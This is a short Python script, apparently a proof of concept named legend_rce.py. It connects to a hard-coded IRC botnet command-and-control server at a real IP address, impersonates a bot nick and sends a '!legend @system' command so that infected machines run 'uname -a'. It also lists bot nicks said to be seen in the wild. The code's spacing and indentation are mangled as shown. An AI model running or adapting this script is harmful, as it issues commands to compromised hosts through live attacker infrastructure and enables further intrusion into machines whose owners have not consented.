import socket
import sys
def usage():
print ( "USAGE: python legend_rce.py nick" )
print ( "Sample nicks found in the wild: god, ARZ, Zax, HackTech, TheChozen" )
def main(argv):
if len (argv) < 2 :
return usage()
botnick = sys.argv[ 1 ]
server = "80.246.50.71"
channel = "#Apache" #channel where the bot is located
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "connecting to:" + server
irc.connect((server, 2015 ))
irc.send( "USER " + botnick + " " + botnick + " " + botnick + " :legend.rocks\n" )
irc.send( "NICK " + botnick + "\n" )
irc.send( "JOIN " + channel + "\n" )
irc.send( "PRIVMSG " + channel + " :!legend @system 'uname -a' \n" )
while 1 :
text = irc.recv( 2040 )
print text
if text.find( 'PING' ) ! = - 1 :
irc.send( 'PONG ' + text.split() [ 1 ] + '\r\n' )
if text.find( '!quit' ) ! = - 1 :
irc.send ( "QUIT\r\n" )
sys.exit()
if text.find( 'Linux' ) ! = - 1 :
irc.send( "PRIVMSG " + channel + " :The bot answers to " + botnick + " which allows command execution \r\n" )
irc.send ( "QUIT\r\n" )
sys.exit()
if __name__ = = "__main__" :
main(sys.argv)
|